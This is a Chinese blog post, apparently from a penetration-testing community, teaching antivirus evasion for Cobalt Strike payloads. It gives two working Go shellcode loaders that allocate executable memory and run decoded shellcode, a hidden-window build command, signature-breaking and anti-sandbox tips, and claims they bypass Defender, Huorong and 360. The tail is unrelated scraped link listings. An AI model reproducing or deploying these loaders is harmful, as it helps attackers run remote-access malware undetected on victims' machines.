更多渗透技能 ,10余本电子书及渗透工具包,搜公众号:白帽子左一

作者:掌控安全-骚骑

背景

之前分享了个免杀入门文,很浅显,比较适合小白看…

文章在社区,地址我放在这了,有兴趣可以一戳:

https://bbs.zkaq.cn/t/4456.html (ps:社区邀请码可以文末扫码找助教领取,社区投稿还有钱赚)

这次实实在在写一个,能过微软自带def,火绒,卡巴这些!

一、0x01环境

靶机:

IP:192.168.111.10

杀软:火绒,360,卡巴,微软def

本机:

IP:192.168.111.11

安装环境:cobaltstrike,go环境

二、go环境安装

由于本人很久之前就安装了,所以直接上菜鸟教程吧

https://www.runoob.com/go/go-environment.html

三、实践

1.思路

主要是内存加载,对shellcode预先编码,然后解码执行。

2.举例

因为不是每个人每种语言都精通,但是当我们有需要了的时候怎么办?

我的方法就是找个案例,然后将不懂的函数查清楚,进而开始针对个人想要的功能进行修改或者拓展。

用重剑无锋大佬的文章中的案例做个示范:

远控免杀专题(32)-Go加载shellcode免杀-3种方式(VT免杀率7-70)

(https://github.com/TideSec/BypassAntiVirus/)

package mainimport ("io/ioutil""os""syscall""unsafe"
)const (MEM_COMMIT = 0x1000MEM_RESERVE = 0x2000PAGE_EXECUTE_READWRITE = 0x40
)var (kernel32 = syscall.MustLoadDLL("kernel32.dll")ntdll = syscall.MustLoadDLL("ntdll.dll")VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")shellcode_buf = []byte{ 0xfc, 0x48, ----shellcode----, 0xd5,}
)func checkErr(err error) {if err != nil {if err.Error() != "The operation completed successfully." {println(err.Error())os.Exit(1)}}
}
func main() {shellcode := shellcode_bufif len(os.Args) > 1 {shellcodeFileData, err := ioutil.ReadFile(os.Args[1])checkErr(err)shellcode = shellcodeFileData}addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)if addr == 0 {checkErr(err)}_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))checkErr(err)syscall.Syscall(addr, 0, 0, 0, 0)
}

在原本的文章中,是可以免杀的,但由于过了很长时间,因此现在已经凉了。

当然我们对这些不能抱多大希望,终归只是学习姿势,拓展思路

因为可能换个方式就可以了,例如我们这样实现:

package mainimport ("os""syscall""unsafe""encoding/hex")const (MEM_COMMIT = 0x1000MEM_RESERVE = 0x2000PAGE_EXECUTE_READWRITE = 0x40)var (kernel32 = syscall.MustLoadDLL("kernel32.dll")ntdll = syscall.MustLoadDLL("ntdll.dll")VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")shellcodes="--shellcode--")func checkErr(err error) {if err != nil {if err.Error() != "The operation completed successfully." {println(err.Error())os.Exit(1)}}}func main() {var shellcode []byteshellcode, _ = hex.DecodeString(shellcodes)addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)if addr == 0 {checkErr(err)}_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))checkErr(err)syscall.Syscall(addr, 0, 0, 0, 0)}

做的改变就是将本地镶嵌的shellcode换成了hex编码,如图:

(图1)

是不是感觉很简单?为啥自己没想到?先将go文件生成exe进行杀软检测吧。

执行命令:

go build -ldflags=”-H windowsgui” youer_filename

(图2)

免杀及上线情况如图3、4

(图三)

(图四)

有时候很多事情并不是想象中的那么难,就看能不能绕过那个弯,用hack的思维去考虑问题

3.拓展

上面的算是抛砖引玉吧,然后卡巴还没过去,还有个思路的,那就是测试源来的shellcode哪些连用他会出问题,测试结果是:

当在如图5中所示地点断开,火绒停止爆错。

(图5)

因此,我又开始琢磨了,是否可以在这里输入没用的字符,然后在在做下替换可行不。

替换代码如下:

 var contents = "shellcode"shellcodes, _ := regexp.Compile("xxxxx");shellcod := shellcodes.ReplaceAllString(contents, "xx")

大概思路就是讲爆错位置加入特定字符,然后利用正则识别(xxxxx),替换成想要的内容(xx)

感觉思路是没问题的,而且测试输出的内容也是一样的。

但是就是不能运行,所以如果有熟悉go的希望能指教下。

针对反沙盒静态免杀,混淆函数免杀

针对静态免杀我们可以增加些判断,诸如主机名,计算机名这些,再有就是设置sleep这些

对于go基础为0的和我一样的,推荐直接用veil生成go文件,然后自己对其进行简单的改编。

利用上述做免杀结果

当然还有几个思路,先就到这里,继续保持学习,后续会考虑更新更详细一些,期待不断成长。

总结

总体来说,就一个问题、多看、多想、遇到问题不要慌、换个思路拐个弯做下尝试。

然后这两个我都没上传样本,基本上是断网情况测试

因此免杀效果应该是可以维持一段时间的,免杀是在不断对抗过程中成长的,勤思考多查找,总会有办法的。

一文带你学会0编程基础做木马免杀相关推荐

  1. 十个小项目带你学会python编程,很简单,识字就行

    前言 Python不是一门很难的编程语言,但对于从未有过编程经验的人来说,学习它也需要讲究一定的技巧. 下面,用十个小项目,带你学会python编程. 项目1:自动添加标签项目2:绘制图表项目3:万能 ...

  2. 零编程基础学python-如果是一个纯0编程基础的小白,如何学Python

    Python 可用的地方非常多.无论是从入门级选手(爬虫.前端.后端.自动化运维)到专业级数据挖掘.科学计算.图像处理.人工智能,Python 都可以胜任.或许是因为这种万能属性,周围好更多的小伙伴都 ...

  3. 一文带你学会linux系统 史上最全linux命令大全

    一文带你学会linux系统 史上最全linux命令大全 文章目录 linux系统简介 linux命令 1.启动网络命令 2.pwd命令 2.ls命令 3.cd命令 4.mkdir命令 5.rmdir命 ...

  4. 一文带你Linux系统编程入门

    文件和文件系统 文件是linux系统中最重要的抽象,大多数情况下你可以把linux系统中的任何东西都理解为文件,很多的交互操作其实都是通过文件的读写来实现的. 文件描述符 在linux内核中,文件是用 ...

  5. 0基础小白学python好学吗-如果是一个纯0编程基础的小白,如何学Python

    Python 可用的地方非常多.无论是从入门级选手(爬虫.前端.后端.自动化运维)到专业级数据挖掘.科学计算.图像处理.人工智能,Python 都可以胜任.或许是因为这种万能属性,周围好更多的小伙伴都 ...

  6. 【Echarts】通过柱状图实例,一文让你学会Echarts的基础使用!!!

    通过柱状图实例,一文让你学会Echarts的基础使用!!! 先看效果: 获取Echarts 文件目录 引入Echarts 通过标签方式直接引入构建好的 echarts 文件 <!DOCTYPE ...

  7. ☀️苏州程序大白一文让你学会Java Servlet基础☀️《❤️记得收藏❤️》

    ☀️苏州程序大白一文让你学会Java Servlet基础☀️<❤️记得收藏❤️> 目录

  8. 一文带你学习DDD,基础入门篇

    系统讲解DDD的基础概念,结合具体的Demo讲解DDD落地场景. 往期精选(欢迎转发~~) 如何看待程序员35岁职业危机? Java全套学习资料(14W字),耗时半年整理 我肝了三个月,为你写出了GO ...

  9. 教妹学Java(二十一):一文带你了解面向对象编程的所有概念

    你好呀,我是沉默王二,是<Web 全栈开发进阶之路>的作者,CSDN 的博客之星.<教妹学 Java>是一套非常有趣的付费专栏,除了继续保持幽默风趣的行风风格,我还力求把每一个 ...

最新文章

  1. 9文一览:近期必读微生物组生信论文
  2. 设计模式 — 行为型模式 — 中介者模式
  3. apache AH01630: client denied by server configuration错误解决方法
  4. 建议15: 使用dynamic来简化反射实现
  5. Adobe Illustrator CS6 绿色简体中文版下载地址
  6. (无人驾驶仿真软件整理)
  7. html js3d魔方,40行JavaScript代码实现的3D旋转魔方动画效果
  8. 有缘-无缘-惜缘-随缘
  9. 记录一次被Paypal坑的经过
  10. vijos 1282128312841285 佳佳的魔法照片/魔法药水/魔杖/魔法阵
  11. python numpy是什么_Python库Numpy里ndarray.ndim 是什么意思?
  12. C++整型int转字符串string
  13. 谷歌的seo原理是什么
  14. Linux文件查找和文件内容关键字查找
  15. oracle exp 详解,oracle exp 详解
  16. (1)声明一个圆柱体类型,(2)声明属性:底边的半径,和高(3)声明方法:A:方法的功能:在方法中打印圆柱体的详细信息:圆柱体的底边的半径是xxx,高是xxx,底面积是xxx,体积是xxx。B
  17. BDD100K数据集简单解析以及格式转换成voc格式
  18. 【转】史上最全的买卖股票技巧 总有一款适合你
  19. 2021年N1叉车司机模拟考试题及N1叉车司机作业模拟考试
  20. 在万彩手影大师上怎么制作微课_万彩手影大师下载-万彩手影大师下载v2.4.0 官方版-西西软件下载...

热门文章

  1. Leetcode:frzz_buzz一个尤为有趣的解法
  2. 【数学分析】闭区间套定理及其证明
  3. 雾的性质及其不同通道原理
  4. HKC神盾显示器MG27U - 4K Nano IPS显示器
  5. 我等你,在灯火阑珊处
  6. 【Nordic】如何极致实现Nordic 蓝牙性能
  7. 如何避免“中国式教育”误区?硅谷K-12教育专家如是说
  8. PHP:Fatal error: Class 'COM' not found in … 的解决办法
  9. L1-005 考试座位号(java)
  10. labview源码,和三菱FX编程口协议通讯